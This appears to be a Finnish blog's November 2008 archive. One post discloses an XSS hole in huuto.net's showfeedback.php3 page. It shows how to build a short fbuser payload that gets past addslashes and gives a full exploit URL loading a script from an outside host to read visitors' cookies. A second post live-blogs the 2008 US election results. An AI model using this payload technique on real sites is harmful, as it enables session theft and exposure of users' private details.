Monthly Archive for November, 2008

Huuto.netissä XSS-haavoittuvuus

Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi – huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä – varastaa sivun käyttäjien evästeitä.

Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta

Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.
Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa ‘<script src=http://domain.com/script.js></script>’. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa ‘<script src=osoite’-muotoisen script-tagin onnistuneesti.

Nyt XSS on siis muotoa ‘fbuser=<script src=http://domain.com/script.js’. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).
Nyt siis URL on muotoa ‘huuto.net/fi/showfeedback.php3?fbuser=<script src=//domain.com/script.js’.

Proof-of-concept löytyy osoitteesta http://xi7.org/t.js. Käytännössä koodia käytettäisiin seuraavasti: http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js. Koodi ei varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.

Vaali-haalintaa

3:08. Valitsijaäänet MSNBC:n mukaan 103-34.
Tähän asti homma on edennyt juuri niin kuin kaikki odottivatkin, ja kaikki osavaltiot ovat menneet “omille” puolueilleen, jännitetään miten tilanne etenee…

3:18 ennusteet ovat jakaneet tähänastiset senaattipaikat 44-29 demokraateille. Jännittävä tilanne syntyy, jos Obama voittaa presidenttikilvan ja demokraatit saavat senaatissa enemmistön.

3:24 Palm Beachissa, Floridassa on yllättäen taas ongelmia äänestämisen, äänien keräämisen ja äänien laskemisen kanssa.. Yllättyneitä olivat mm.:

3:31 Arkansas sulki juuri äänestyspisteensä. Ellei tapahdu jotain aivan järkyttävää, McCain vie valitsijaäänet heittämällä. Seuraava sulkemisrypäs on puolen tunnin kuluttua. Senaattitilanne-ennuste on 46-30.

3:33 Alabama exit pollien mukaan McCainille, eli valitsijaennuste 103 – 43.

3:36 Georgia ennustettu McCainille, tilanne 103 – 58.

3:53 edustajainhuoneen puoluejakaumaennuste on tällä hetkellä 261 – 174. Jos kaikki tähänastiset ennusteet pitävät kutinsa, olisi demokraateilla enemmistö senaatissa ja edustajainhuoneella sekä presidentti puolellaan. Erittäin kiinnostava ajatusleikki :P

4:00 Arizona, Colorado, Louisiana, Minnesota, New Mexico, New York, Rhode Island, Wisconsin ja Wyoming sulkivat juuri vaalitoimistonsa. Ennusteissa Kansas, North Dakota ja Wyoming McCainille. New York, Wisconsin, Minnesota Obamalle. 175 – 70.

4:06 MSNBC korjaili edustajanhuone-ennustettaan 260 – 175:n

4:09 Arkansas McCainille. 175 – 76.

4:21 Noin 50 minuutin kuluttua Comedy Centralin vaalispesiaali alkaa. Tuolloin ottanen noin tunnin tauon bloggaamisesta ja jatkan kuuden aikoihin.

4:22 Ohio Obamalle. Ensimmäinen “punainen” osavaltio, jonka demokraattien presidenttiehdokas käänsi puolelleen. 195 – 76. Ainutkaan rebuplikaani ei ole voittanut presidentinvaaleja ja hävinny Ohiota samoissa vaaleissa.

4:26 Loussiana McCainille. 195 – 85.

4:31 New Mexico Obamalle. Jo toinen punaosavaltio demokraateille. 200 – 85. Muistutan, että kaikki luvut ovat tällä hetkellä ennusteita, vaikkakin erittäin kokeneilta ennustajilta.

4:34 hermostuttaa kuunnella tv-juontajien amerikkalaiset vs. poliitikot vastakkainasettelua. Luulisi amerikkalaisten itse ymmärtävän, että vaaleissa äänestetään amerikkalaisia poliitikkoja…

4:37 demokraatit ryöstävät senaatista taas yhden paikan. Jakauma nyt 50 – 36. Etelä-Virginia McCainille, tilanne 200 – 90.

4:55 Viisi minuuttia the Daily Shown ja Colbert Reportin yhteislähetykseen. Texas McCainille, 200 – 124.

4:58 CBS nimesi jo Obaman voittajaksi :D

5:01 INDECISION 2008!!!

5:06 207 – 129. New York, New Jersay ja Pensylvania Obamalle. Etelä-Carolina McCainille. Senaatti 52 – 38.

5:09 Missisipi McCainille. 207 – 135.

5:11 New Hampshire ja Conneticut Obamalle, Kentucky McCainille.

5:22 Iowa ja Vermont Obamalle.

5:32 Illinois yllättäen Obamalle

5:38 Etelä-Dakota McCainille, 207 – 138

5:41 Nebraska McCainille, 207 – 143

5:59 VIRGINIA OBAMALLE! Ensimmäistä kertaa vuosiin Virginia on valinnut demokraatin.

6:01 MSNBC ON ENNUSTANUT AMERIKAN 44. PRESIDENTIKSI BARACK OBAMAN!!!
toistan:

OBAMA VOITTI!

Enää kaksi ja puoli kuukautta ennenkuin presidentti George W. Bush siirtyy syrjään ja USA:n ensimmäinen tummaihoinen presidentti Barack Obama astuu virkaansa.